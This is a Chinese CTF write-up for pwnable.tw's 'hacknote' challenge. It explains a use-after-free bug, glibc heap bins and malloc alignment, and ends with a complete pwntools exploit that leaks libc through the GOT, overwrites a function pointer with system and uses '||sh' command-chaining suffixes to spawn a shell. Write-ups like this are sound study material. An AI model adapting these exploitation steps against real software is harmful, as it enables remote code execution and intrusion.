0x01 hacknote
IAD-F5反汇编查看,重点就是关注delete、add函数
void __cdecl __noreturn main()
{
int v0; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
print_menu();
read(0, &buf, 4u);
v0 = atoi(&buf);
if ( v0 != 2 )
break;
delete();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
print();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
add();
}
}
}
add函数
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u); // ptr前四字节指向打印函数,后四字节指向内容
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = printNote__; // 指针指向此note的打印函数
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
delete函数
unsigned int sub_80487D4()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]); // 这里有一个UAF的漏洞,free后指针没有置空
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
UAF漏洞 Use After free
glibc管理机制
- glibc的堆管理结构
struct malloc_state {
mutex_t mutex; /* Serialize access. */
int flags; /* Flags (formerly in max_fast). */
#if THREAD_STATS
/* Statistics for locking. Only used if THREAD_STATS is defined. */
long stat_lock_direct, stat_lock_loop, stat_lock_wait;
#endif
mfastbinptr fastbins[NFASTBINS]; /* Fastbins */
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins[NBINS * 2];
unsigned int binmap[BINMAPSIZE]; /* Bitmap of bins */
struct malloc_state *next; /* Linked list */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
其中:
- fastbins: 存储多个链表。每个链表由空闲的fastbin组成,是fastbin freelist。malloc分配时的整体顺序是如果堆块较小,属于fastbin,则在fastbin list里寻找到一个恰当大小的堆块;
- top:top chunk,指向的是arena中剩下的空间。如果各种freelist都为空,则从top chunk开始分配堆块。malloc分配时如果bins或者fastbins都为空或没有分配成功,则从top chunk指向的区域分配堆块。
- bins:存储多个双向链表。意义上和堆块头部的双向链表一样,并和其组成了一个双向环状空闲列表(freelist)。这里的bins位于freelist的结构上的头部,后向指针(bk)指向freelist逻辑上的第一个节点。分配chunk时从逻辑上的第一个节点分配寻找合适大小的堆块。如果其大小属于normal chunk,则在normal bins里面(unsort,small,large)寻找一个恰当的堆块。
libc的堆管理机制和其他的堆管理一样,对于free的堆块,堆管理器不会立即把释放的内存还给系统,而是自己保存起来,以便下次分配使用。这样可以减少和系统内核的交互次数,提高效率。Libc中保存释放的内存的地点就是bin。有以下四种类型
Fast bin
/* 对于较小的堆块,使用fastbin来分配。
fastbin的范围处于16~64byte,使用单向链表来维护。每次从fastbin中分配堆块时,
都会从尾部取出。fastbin块的inuse位永远是置于1的,并且享有最高的优先权,
在分配和释放时总会最先考虑fastbin。
*/
/* 除了fastbin之外的堆块则为normal chunk。
这些堆块释放后堆块会被放到malloc_state结构的bins数组中
。bins数组中一共有126个元素。具体的分配如下: */
Unsorted bin /* unsort bin在bins[]中仅占有一个位置,除了fastbin外的其他块被释放后都会进入到这里来作为一个缓冲,每当进行malloc时会把堆块从unsort bin中取出并放到对于的bins[]中。 */
Small bin /* small bin是指大于16byte且小于512byte的堆块,使用双向链表链接,不会有两个相邻的空的small bin块,因为一旦出现这种情况,相邻的块就会被合并成一个块。通常是在调用free函数时触发这一过程。需要注意的是在相邻空块合并时会调用unlink()宏来进行取下操作,但是调用malloc()时的取下操作却没有使用unlink宏。 */
Large bin /* 超出large bin范围的即为large bin,large bin相比其他块而言具有一条额外的由fd_nextsize和bk_nextsize域组成的链表结构。 */
UAF漏洞例子
#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
func_ptr *p1=(int*)malloc(4*sizeof(int));
printf("malloc addr: %pn",p1);
p1[3]=echo;
p1[3]("hello worldn");
free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
p1[3]("hello againn"); //p1指针未被置空,虽然free了,但仍可使用.
func_ptr *p2=(int*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
printf("malloc addr: %pn",p2);
printf("malloc addr: %pn",p1);//p2与p1指针指向的内存为同一地址
p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
p1[3]("whoami");
return 0;
}
malloc内存对齐
在大多数情况下,编译器和C库透明地帮你处理对齐问题。POSIX 标明了通过malloc( ), calloc( ), 和 realloc( ) 返回的地址对于任何的C类型来说都是对齐的。这样可以避免内存中的碎片,提高程序效率。
对齐参数(MALLOC_ALIGNMENT) 大小的设定并需满足两个特性:
1)必须是2的幂
2)必须是void*的整数倍,sizeof(void*) is 4Bytes in x86 ,and 8Bytes in x64
粗粗看了下malloc的头文件定义,对齐参数MALLOC_ALIGNMENT应该为2*sizeof(void*),即32位下为8bytes,64位下为16bytes。但是最小分配单位并不是对齐单位,同样参考glibc的malloc.h文件,最小分配单位MINSIZE:计算MINSIZE=(16+8-1) & ~(8-1)=16字节
.即32位下malloc的最小分配单位为16字节,64位下最小分配单位为32字节。
从request2size还可以知道,如果是64位系统,申请内存为1~24字节时,系统内存消耗32字节,当申请内存为25字节时,系统内存消耗48字节。如果是32位系统,申请内存为1~12字节时,系统内存消耗16字节,当申请内存为13字节时,系统内存消耗24字节。(类似计算MINSIZE)
漏洞分析
有了以上的基础我们回到题目来看,存储note的结构体为:
struct note{
void *p; //指向打印函数0x080462b的指针
str *content; //指向note内容的指针
}
可以看到之前介绍的malloc内存对齐机制的体现:
-
一开始malloc了8字节存放note结构体,实际上为了内存对齐分配16字节内存空间;
-
用户设置的content大小为20字节,对齐后实际为24字节内存空间
大体的利用思路为:
add_note首先malloc出8字节来存放note结构体,接着用户输入content的size:16,这样操作两次,分配的内存大小为16/24/16/24
接着使用delete_note来释放内存:先后delete_note(0) delete_note(1),接着add_note,增加一个content size=8,内容为'aaaaaaaa'
——————————————
| content0 32bytes 第一个note的content | head
—————————————— |
| struct note0 16bytes 第一个note的结构体 |
—————————————— |
|content1 32bytes 第二个note的content |
—————————————— |
|struct note1 16bytes 第二个note的结构体 |
—————————————— V tail
增加note的过程中需要做两次malloc(8)的操作,经过内存对齐后即为分配两个大小为16字节的内存,这样根据malloc的优先分配机制,从空表尾部开始寻找大小为16字节的空间。
因此新建的note2的strcut note将被分配到note1的结构体位置,note2的content将被分配到note0的结构体位置,note0八字节的结构体处分别存放了打印函数0x804862b和其参数地址,现在将被我们输入的content覆盖!
题目已经给出了libc文件,我们首先要做的就是泄露出libc加载到内存中的基址:
以read()为例,我们将指向content的指针覆盖为read在got表中的地址,这样调用print\_note
后就会打印出read的实际地址,利用:system\_addr-libc\_system=read\_addr-libc_read
计算system\_addr=read\_addr-libc\_read+libc\_system
泄露libc加载基址的过程实际上就是改编程序执行流程的过程,既然我们已经得到了system的实际地址,只需要重复相同的步骤,只是将原本0x804862b覆盖为system的地址。
这里还有一个小坑,覆盖后system的参数实际上是从note0结构体开始的,也就是p32(system_addr)+'sh',这样是无法达到system('/bin/sh')的效果的,类似的题目还有sect.ctf.rocks(比赛网站已经挂了好像是叫做SEC-T CTF一个国外的比赛)里有一道pwn50也要用到system参数截断的姿势,当时用的是&&sh,类似的还有||sh,;sh;
from pwn import *
con=remote("chall.pwnable.tw", 10102)
e=ELF("hacknote")
elib=ELF("libc_32.so.6")
puts_got=0x804a024 #e.got["puts"]
printn=0x804862b
def addNote(size,content):
con.recvuntil("choice :")
con.sendline("1")
con.recvuntil("size :")
con.sendline(str(size))
con.recvuntil("Content :")
con.sendline(content)
def deleteNote(index):
con.recvuntil("choice :")
con.sendline("2")
con.recvuntil("Index :")
con.sendline(str(index))
def printNote(index):
con.recvuntil("choice :")
con.sendline("3")
con.recvuntil("Index :")
con.sendline(str(index))
addNote(24,24*"a")
addNote(24,24*"a")
deleteNote(0)
deleteNote(1)
addNote(8,p32(printn)+p32(puts_got)) #泄露出put函数的实际地址
printNote(0)
p=con.recv()
puts_addr=u32(p[:4])
d_value=elib.symbols["puts"]-elib.symbols["system"]
sys_addr=puts_addr-d_value
deleteNote(2)
addNote(8,p32(sys_addr)+"||sh")
printNote(0)
con.interactive("nevv$")
网友评论